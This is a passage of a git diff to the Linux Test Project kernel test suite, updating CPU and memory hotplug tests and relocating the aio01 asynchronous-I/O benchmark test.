+static void run(void)
+{
+	spawn_workers();
+	visit_dir(root_dir);
+	stop_workers();
+
+	tst_reap_children();
+	tst_res(TPASS, "Finished reading files");
+}
+
+static struct tst_test test = {
+	.options = options,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.forks_child = 1,
+};
+
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
index 97d6f0a..9bafcd1 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
@@ -109,7 +109,7 @@
 
 LOOP_COUNT=1
 
-tst_check_cmds perl
+tst_test_cmds perl
 
 if [ $(get_present_cpus_num) -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
index 14ccf85..9ea49f0 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
@@ -119,12 +119,15 @@
 	sleep 1
 
 	# Verify at least one process has migrated to the new CPU
-	ps -o psr -o command --no-headers -C cpuhotplug_do_spin_loop
+	# Since procps v3.3.15, we need to accurately select command name
+	# by -C option, because procps cannot trucate normal command name
+	# to 15 characters by default).
+	ps -o psr -o command --no-headers -C cpuhotplug_do_s
 	if [ $? -ne 0 ]; then
 		tst_brkm TBROK "No cpuhotplug_do_spin_loop processes \
 			found on any processor"
 	fi
-	NUM=`ps -o psr -o command --no-headers -C cpuhotplug_do_spin_loop \
+	NUM=`ps -o psr -o command --no-headers -C cpuhotplug_do_s \
 		| sed -e "s/^ *//" | cut -d' ' -f 1 | grep "^${CPU_TO_TEST}$" \
 		| wc -l`
 	if [ $NUM -lt 1 ]; then
diff --git a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
index 59c8324..2828da5 100755
--- a/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
@@ -59,7 +59,7 @@
 
 LOOP_COUNT=1
 
-tst_check_cmds sar
+tst_test_cmds sar
 
 if [ $(get_present_cpus_num) -lt 2 ]; then
 	tst_brkm TCONF "system doesn't have required CPU hotplug support"
@@ -108,12 +108,18 @@
 		tst_brkm TBROK "SAR output file is empty"
 	fi
 
-	for i in $(seq 3 8); do
-		field=$(get_field "$offline_status" "$i")
-		if [ "$field" != "0.00" ]; then
-			tst_brkm TBROK "Field $i is '$field', '0.00' expected"
-		fi
-	done
+	cpu_field=$(get_field "$offline_status" "2")
+	if [ "${cpu_field}" = "CPU" ]; then
+		# Since sysstat-11.7.1, sar/sadf didn't display offline CPU
+		tst_resm TINFO "SAR didn't display offline CPU"
+	else
+		for i in $(seq 3 8); do
+			field=$(get_field "$offline_status" "$i")
+			if [ "$field" != "0.00" ]; then
+				tst_brkm TBROK "Field $i is '$field', '0.00' expected"
+			fi
+		done
+	fi
 
 	# Online the CPU
 	if ! online_cpu ${CPU_TO_TEST}; then
diff --git a/testcases/kernel/hotplug/memory_hotplug/commands.c b/testcases/kernel/hotplug/memory_hotplug/commands.c
index 886ee82..0b25860 100644
--- a/testcases/kernel/hotplug/memory_hotplug/commands.c
+++ b/testcases/kernel/hotplug/memory_hotplug/commands.c
@@ -29,9 +29,6 @@
  */
 
 #include "config.h"
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
 
 #ifdef HAVE_NUMA_V2
 #include <sys/types.h>
@@ -435,7 +432,7 @@
 static int get_current_nodeid_list(unsigned int *fromids)
 {
 	/*
-	 * FIXME (garrcoop): gcp is unitialized and shortly hereafter used in
+	 * FIXME (garrcoop): gcp is uninitialized and shortly hereafter used in
 	 * an initialization statement..... UHHHHHHH... test writer fail?
 	 */
 	glctx_t *gcp;
diff --git a/testcases/kernel/hotplug/memory_hotplug/memtoy.c b/testcases/kernel/hotplug/memory_hotplug/memtoy.c
index fe76fb9..0707a9c 100644
--- a/testcases/kernel/hotplug/memory_hotplug/memtoy.c
+++ b/testcases/kernel/hotplug/memory_hotplug/memtoy.c
@@ -26,9 +26,6 @@
 
 #include "config.h"
 #include "tst_res_flags.h"
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
 
 #ifdef HAVE_NUMA_V2
 
@@ -500,7 +497,7 @@
 #else
 int main(void)
 {
-	fprintf(stderr, "test requires libnuma >= 2 and it's development packages\n");
+	fprintf(stderr, NUMA_ERROR_MSG "\n");
 	return TCONF;
 }
 #endif
diff --git a/testcases/kernel/hotplug/memory_hotplug/segment.c b/testcases/kernel/hotplug/memory_hotplug/segment.c
index 73c718c..138d625 100644
--- a/testcases/kernel/hotplug/memory_hotplug/segment.c
+++ b/testcases/kernel/hotplug/memory_hotplug/segment.c
@@ -28,9 +28,6 @@
  */
 
 #include "config.h"
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
 
 #ifdef HAVE_NUMA_V2
 
@@ -609,7 +606,7 @@
 }
 
 /*
- * segment_show() -- show specifed segment, or all, if none specified.
+ * segment_show() -- show specified segment, or all, if none specified.
  */
 int segment_show(char *name)
 {
diff --git a/testcases/kernel/include/ksm_helper.h b/testcases/kernel/include/ksm_helper.h
new file mode 100644
index 0000000..0b35218
--- /dev/null
+++ b/testcases/kernel/include/ksm_helper.h
@@ -0,0 +1,26 @@
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author(s): Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef KSM_HELPER_H
+#define KSM_HELPER_H
+
+#define PATH_KSM	"/sys/kernel/mm/ksm/"
+
+void wait_ksmd_full_scan(void);
+
+#endif /* KSM_HELPER_H */
diff --git a/testcases/kernel/include/numa_helper.h b/testcases/kernel/include/numa_helper.h
index 39cf7aa..ed45ec8 100644
--- a/testcases/kernel/include/numa_helper.h
+++ b/testcases/kernel/include/numa_helper.h
@@ -20,11 +20,11 @@
 #define NUMA_HELPER_H
 
 #include "config.h"
-#if HAVE_NUMA_H
-#include <numa.h>
+#ifdef HAVE_NUMA_H
+# include <numa.h>
 #endif
-#if HAVE_NUMAIF_H
-#include <numaif.h>
+#ifdef HAVE_NUMAIF_H
+# include <numaif.h>
 #endif
 
 #define NH_MEMS (1 << 0)
diff --git a/testcases/kernel/io/aio/.gitignore b/testcases/kernel/io/aio/.gitignore
index 646af54..81cc7c4 100644
--- a/testcases/kernel/io/aio/.gitignore
+++ b/testcases/kernel/io/aio/.gitignore
@@ -1,2 +1,2 @@
-/aio01/aio01
-/aio02/aio_tio
+aio01
+aio02
diff --git a/testcases/kernel/io/aio/Makefile b/testcases/kernel/io/aio/Makefile
index daf81f5..32cad52 100644
--- a/testcases/kernel/io/aio/Makefile
+++ b/testcases/kernel/io/aio/Makefile
@@ -1,22 +1,11 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+
+CPPFLAGS		+= -D_GNU_SOURCE
+LDLIBS			+= $(AIO_LIBS)
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/io/aio/aio01.c b/testcases/kernel/io/aio/aio01.c
new file mode 100644
index 0000000..1f428fd
--- /dev/null
+++ b/testcases/kernel/io/aio/aio01.c
@@ -0,0 +1,423 @@
+/*
+ *
+ *   Copyright (c) International Business Machines  Corp., 2003
+ *
+ *   This program is free software;  you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ *   the GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program;  if not, write to the Free Software
+ *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/*
+ * NAME
+ *      aiotest1.c
+ *
+ * DESCRIPTION
+ *      Perform aio read, write operations for given number of requests.
+ *      Submit i/o for each request individually.
+ *      Repeat the test for each of the following cases and measure time.
+ *              Testblock1: Write one request at a time.
+ *              Testblock2: Read one request at a time.
+ *              Testblock3: Prepare, Write one request at a time.
+ *              Testblock4: Prepare, Read one request at a time.
+ *              Testblock5: Prepare, Write/Read one request at a time.
+ *              Testblock6: Prepare, Write/Read/Verify one request at a time.
+ *
+ * Author
+ * 08/24/2002   Narasimha Sharoff       nsharoff@us.ibm.com
+*/
+
+/*
+ * History
+ *      04/18/2003      nsharoff@us.ibm.com
+ *      		Updated
+ *      05/21/2003      Paul Larson	plars@linuxtestproject.org
+ *      		Rewrote the test under LTP, using LTP test harness
+ *      		and other minor improvements and fixes
+*/
+
+#define _XOPEN_SOURCE 600
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <time.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+
+#include "test.h"
+#include "config.h"
+
+char *TCID = "aio01";
+int TST_TOTAL = 6;
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
+static void help(void);
+static void setup(void);
+static void cleanup(void);
+
+#define mapsize (1 << 14)
+
+int fd;
+char *maddr;
+
+size_t bufsize;			/* Size of I/O, 8k default */
+io_context_t io_ctx;		/* I/O Context */
+struct iocb **iocbs;		/* I/O Control Blocks */
+char *srcbuf, *dstbuf;
+char fname[128];
+char tbuf[80];
+int pos, nr;
+struct stat s;
+
+struct test_case_t {
+	off_t newsize;
+	char *desc;
+} TC[] = {
+	{
+	mapsize - 8192, "ftruncate mmaped file to a smaller size"}, {
+	mapsize + 1024, "ftruncate mmaped file to a larger size"}, {
+0, "ftruncate mmaped file to 0 size"},};
+
+int main(int argc, char **argv)
+{
+	int i, j, sec, usec;
+	int failflag = 0;
+	int bflag = 0, nflag = 0, Fflag = 0;
+	char *optb, *optn, *optF;
+	struct io_event event;
+	static struct timespec ts;
+	struct timeval stv, etv;
+
+	option_t options[] = {
+		{"b:", &bflag, &optb},
+		{"n:", &nflag, &optn},
+		{"F:", &Fflag, &optF},
+		{NULL, NULL, NULL}
+	};
+
+	tst_parse_opts(argc, argv, options, &help);
+
+	bufsize = (bflag ? atoi(optb) : 8192);
+	nr = (nflag ? atoi(optn) : 10);
+	if (Fflag) {
+		sprintf(fname, "%s", optF);
+	} else {
+		sprintf(fname, "aiofile");
+	}
+
+	setup();
+
+/* TEST 1 */
+	pos = 0;
+	gettimeofday(&stv, NULL);
+	io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
+	for (i = 0; i < nr; i++) {
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 1: io_submit failed - retval=%ld"
+				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		gettimeofday(&etv, NULL);
+	}
+	if (!failflag) {
+		sec = etv.tv_sec - stv.tv_sec;
+		usec = etv.tv_usec - stv.tv_usec;
+		if (usec < 0) {
+			usec += 1000000;
+			sec--;
+		}
+		tst_resm(TPASS, "Test 1: %d writes in %3d.%06d sec",
+			 nr, sec, usec);
+	}
+
+/* TEST 2 */
+	pos = 0;
+	failflag = 0;
+	gettimeofday(&stv, NULL);
+	io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
+	for (i = 0; i < nr; i++) {
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 2: io_submit failed - retval=%ld"
+				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		gettimeofday(&etv, NULL);
+	}
+	if (!failflag) {
+		sec = etv.tv_sec - stv.tv_sec;
+		usec = etv.tv_usec - stv.tv_usec;
+		if (usec < 0) {
+			usec += 1000000;
+			sec--;
+		}
+		tst_resm(TPASS, "Test 2: %d reads in %3d.%06d sec",
+			 nr, sec, usec);
+	}
+
+/* TEST 3 */
+	pos = 0;
+	failflag = 0;
+	gettimeofday(&stv, NULL);
+	for (i = 0; i < nr; i++) {
+		io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 3: io_submit failed - retval=%ld"
+				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		gettimeofday(&etv, NULL);
+	}
+	if (!failflag) {
+		sec = etv.tv_sec - stv.tv_sec;
+		usec = etv.tv_usec - stv.tv_usec;
+		if (usec < 0) {
+			usec += 1000000;
+			sec--;
+		}
+		tst_resm(TPASS, "Test 3: %d prep,writes in %3d.%06d sec",
+			 nr, sec, usec);
+	}
+
+/* TEST 4 */
+	pos = 0;
+	failflag = 0;
+	gettimeofday(&stv, NULL);
+	for (i = 0; i < nr; i++) {
+		io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 4: io_submit failed - retval=%ld"
+				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		gettimeofday(&etv, NULL);
+	}
+	if (!failflag) {
+		sec = etv.tv_sec - stv.tv_sec;
+		usec = etv.tv_usec - stv.tv_usec;
+		if (usec < 0) {
+			usec += 1000000;
+			sec--;
+		}
+		tst_resm(TPASS, "Test 4: %d prep,reads in %3d.%06d sec",
+			 nr, sec, usec);
+	}
+
+/* TEST 5 */
+	pos = 0;
+	failflag = 0;
+	gettimeofday(&stv, NULL);
+	for (i = 0; i < nr; i++) {
+		io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 5: write io_submit failed - "
+				 "retval=%ld, errno=%d", TEST_RETURN,
+				 TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 5: read io_submit failed - "
+				 "retval=%ld, errno=%d", TEST_RETURN,
+				 TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		gettimeofday(&etv, NULL);
+	}
+	if (!failflag) {
+		sec = etv.tv_sec - stv.tv_sec;
+		usec = etv.tv_usec - stv.tv_usec;
+		if (usec < 0) {
+			usec += 1000000;
+			sec--;
+		}
+		tst_resm(TPASS, "Test 5: %d reads and writes in %3d.%06d sec",
+			 nr, sec, usec);
+	}
+
+/* TEST 6 */
+	pos = 0;
+	failflag = 0;
+	gettimeofday(&stv, NULL);
+	for (i = 0; i < nr; i++) {
+		io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 6: write io_submit failed - "
+				 "retval=%ld, errno=%d", TEST_RETURN,
+				 TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
+		ts.tv_sec = 30;
+		ts.tv_nsec = 0;
+		do {
+			TEST(io_submit(io_ctx, 1, iocbs));
+		} while (TEST_RETURN == -EAGAIN);
+		if (TEST_RETURN < 0) {
+			tst_resm(TFAIL, "Test 6: read io_submit failed - "
+				 "retval=%ld, errno=%d", TEST_RETURN,
+				 TEST_ERRNO);
+			failflag = 1;
+			continue;
+		}
+		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
+		for (j = 0; j < (int)bufsize; j++) {
+			if (srcbuf[j] != dstbuf[j]) {
+				tst_resm(TFAIL, "Test 6: compare failed - "
+					 "read: %c, " "actual: %c",
+					 dstbuf[j], srcbuf[j]);
+				break;
+			}
+		}
+		gettimeofday(&etv, NULL);
+	}
+	if (!failflag) {
+		sec = etv.tv_sec - stv.tv_sec;
+		usec = etv.tv_usec - stv.tv_usec;
+		if (usec < 0) {
+			usec += 1000000;
+			sec--;
+		}
+		tst_resm(TPASS, "Test 6: %d read,write,verify in %d.%06d sec",
+			 i, sec, usec);
+	}
+
+	cleanup();
+
+	tst_exit();
+}
+
+static void help(void)
+{
+	printf("  -b n    Buffersize\n");
+	printf("  -n n    Number of requests\n");
+	printf("  -F s    Filename to run the tests against\n");
+}
+
+static void setup(void)
+{
+	int ret;
+
+	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+
+	/* Pause if option was specified */
+	TEST_PAUSE;
+
+	tst_tmpdir();
+
+	if ((fd = open(fname, O_RDWR | O_CREAT, 0600)) < 0)
+		tst_brkm(TFAIL, cleanup, "failed to open %s "
+			 "file, errno: %d", fname, errno);
+	stat(fname, &s);
+	if ((iocbs = malloc(sizeof(int) * nr)) == NULL)
+		tst_brkm(TFAIL, cleanup, "malloc for iocbs failed - "
+			 "errno: %d", errno);
+	if ((iocbs[0] = malloc(sizeof(struct iocb))) == NULL)
+		tst_brkm(TFAIL, cleanup, "malloc for iocbs elements failed - "
+			 "errno: %d", errno);
+	if (S_ISCHR(s.st_mode)) {
+		if ((ret =
+		     posix_memalign((void **)&srcbuf, bufsize, bufsize)) != 0)
+			tst_brkm(TFAIL, cleanup,
+				 "posix_memalign for srcbuf "
+				 "failed - errno: %d", errno);
+		if ((ret =
+		     posix_memalign((void **)&dstbuf, bufsize, bufsize)) != 0)
+			tst_brkm(TFAIL, cleanup,
+				 "posix_memalign for dstbuf "
+				 "failed - errno: %d", errno);
+	} else {
+		if ((srcbuf = malloc(sizeof(char) * bufsize)) == NULL)
+			tst_brkm(TFAIL, cleanup, "malloc for srcbuf "
+				 "failed - errno: %d", errno);
+		if ((dstbuf = malloc(sizeof(char) * bufsize)) == NULL)
+			tst_brkm(TFAIL, cleanup, "malloc for dstbuf "
+				 "failed - errno: %d", errno);
+	}
+	memset((void *)srcbuf, 65, bufsize);
+	if ((ret = io_queue_init(1, &io_ctx)) != 0)
+		tst_brkm(TFAIL, cleanup, "io_queue_init failed: %s",
+			 strerror(ret));
+}
+
+static void cleanup(void)
+{
+	free(dstbuf);
+	free(srcbuf);
+	free(iocbs[0]);
+	free(iocbs);
+	close(fd);
+	io_queue_release(io_ctx);
+	tst_rmdir();
+}
+
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
+}
+#endif
diff --git a/testcases/kernel/io/aio/aio01/Makefile b/testcases/kernel/io/aio/aio01/Makefile
deleted file mode 100644
index 9a0ad77..0000000
--- a/testcases/kernel/io/aio/aio01/Makefile
+++ /dev/null
@@ -1,30 +0,0 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-###########################################################################
-# name of file	: Makefile						  #
-# description	: make(1) description file                                #
-###########################################################################
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-LDLIBS			+= $(AIO_LIBS)
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/io/aio/aio01/aio01.c b/testcases/kernel/io/aio/aio01/aio01.c
deleted file mode 100644
index ba23e22..0000000
--- a/testcases/kernel/io/aio/aio01/aio01.c
+++ /dev/null
@@ -1,423 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2003
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *      aiotest1.c
- *
- * DESCRIPTION
- *      Perform aio read, write operations for given number of requests.
- *      Submit i/o for each request individually.
- *      Repeat the test for each of the following cases and measure time.
- *              Testblock1: Write one request at a time.
- *              Testblock2: Read one request at a time.
- *              Testblock3: Prepare, Write one request at a time.
- *              Testblock4: Prepare, Read one request at a time.
- *              Testblock5: Prepare, Write/Read one request at a time.
- *              Testblock6: Prepare, Write/Read/Verify one request at a time.
- *
- * Author
- * 08/24/2002   Narasimha Sharoff       nsharoff@us.ibm.com
-*/
-
-/*
- * History
- *      04/18/2003      nsharoff@us.ibm.com
- *      		Updated
- *      05/21/2003      Paul Larson	plars@linuxtestproject.org
- *      		Rewrote the test under LTP, using LTP test harness
- *      		and other minor improvements and fixes
-*/
-
-#define _XOPEN_SOURCE 600
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <time.h>
-#include <errno.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-
-#include "test.h"
-#include "config.h"
-
-char *TCID = "aio01";
-int TST_TOTAL = 6;
-
-#ifdef HAVE_LIBAIO
-#include <libaio.h>
-
-static void help(void);
-static void setup(void);
-static void cleanup(void);
-
-#define mapsize (1 << 14)
-
-int fd;
-char *maddr;
-
-size_t bufsize;			/* Size of I/O, 8k default */
-io_context_t io_ctx;		/* I/O Context */
-struct iocb **iocbs;		/* I/O Control Blocks */
-char *srcbuf, *dstbuf;
-char fname[128];
-char tbuf[80];
-int pos, nr;
-struct stat s;
-
-struct test_case_t {
-	off_t newsize;
-	char *desc;
-} TC[] = {
-	{
-	mapsize - 8192, "ftruncate mmaped file to a smaller size"}, {
-	mapsize + 1024, "ftruncate mmaped file to a larger size"}, {
-0, "ftruncate mmaped file to 0 size"},};
-
-int main(int argc, char **argv)
-{
-	int i, j, sec, usec;
-	int failflag = 0;
-	int bflag = 0, nflag = 0, Fflag = 0;
-	char *optb, *optn, *optF;
-	struct io_event event;
-	static struct timespec ts;
-	struct timeval stv, etv;
-
-	option_t options[] = {
-		{"b:", &bflag, &optb},
-		{"n:", &nflag, &optn},
-		{"F:", &Fflag, &optF},
-		{NULL, NULL, NULL}
-	};
-
-	tst_parse_opts(argc, argv, options, &help);
-
-	bufsize = (bflag ? atoi(optb) : 8192);
-	nr = (nflag ? atoi(optn) : 10);
-	if (Fflag) {
-		sprintf(fname, "%s", optF);
-	} else {
-		sprintf(fname, "aiofile");
-	}
-
-	setup();
-
-/* TEST 1 */
-	pos = 0;
-	gettimeofday(&stv, NULL);
-	io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
-	for (i = 0; i < nr; i++) {
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 1: io_submit failed - retval=%ld"
-				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		gettimeofday(&etv, NULL);
-	}
-	if (!failflag) {
-		sec = etv.tv_sec - stv.tv_sec;
-		usec = etv.tv_usec - stv.tv_usec;
-		if (usec < 0) {
-			usec += 1000000;
-			sec--;
-		}
-		tst_resm(TPASS, "Test 1: %d writes in %3d.%06d sec",
-			 nr, sec, usec);
-	}
-
-/* TEST 2 */
-	pos = 0;
-	failflag = 0;
-	gettimeofday(&stv, NULL);
-	io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
-	for (i = 0; i < nr; i++) {
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 2: io_submit failed - retval=%ld"
-				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		gettimeofday(&etv, NULL);
-	}
-	if (!failflag) {
-		sec = etv.tv_sec - stv.tv_sec;
-		usec = etv.tv_usec - stv.tv_usec;
-		if (usec < 0) {
-			usec += 1000000;
-			sec--;
-		}
-		tst_resm(TPASS, "Test 2: %d reads in %3d.%06d sec",
-			 nr, sec, usec);
-	}
-
-/* TEST 3 */
-	pos = 0;
-	failflag = 0;
-	gettimeofday(&stv, NULL);
-	for (i = 0; i < nr; i++) {
-		io_prep_pwrite(iocbs[0], fd, srcbuf, bufsize, pos);
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 3: io_submit failed - retval=%ld"
-				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
-			failflag = 1;
-			continue;
-		}
-		while (io_getevents(io_ctx, 1, 1, &event, &ts) != 1) ;
-		gettimeofday(&etv, NULL);
-	}
-	if (!failflag) {
-		sec = etv.tv_sec - stv.tv_sec;
-		usec = etv.tv_usec - stv.tv_usec;
-		if (usec < 0) {
-			usec += 1000000;
-			sec--;
-		}
-		tst_resm(TPASS, "Test 3: %d prep,writes in %3d.%06d sec",
-			 nr, sec, usec);
-	}
-
-/* TEST 4 */
-	pos = 0;
-	failflag = 0;
-	gettimeofday(&stv, NULL);
-	for (i = 0; i < nr; i++) {
-		io_prep_pread(iocbs[0], fd, dstbuf, bufsize, pos);
-		ts.tv_sec = 30;
-		ts.tv_nsec = 0;
-		do {
-			TEST(io_submit(io_ctx, 1, iocbs));
-		} while (TEST_RETURN == -EAGAIN);
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "Test 4: io_submit failed - retval=%ld"
-				 ", errno=%d", TEST_RETURN, TEST_ERRNO);
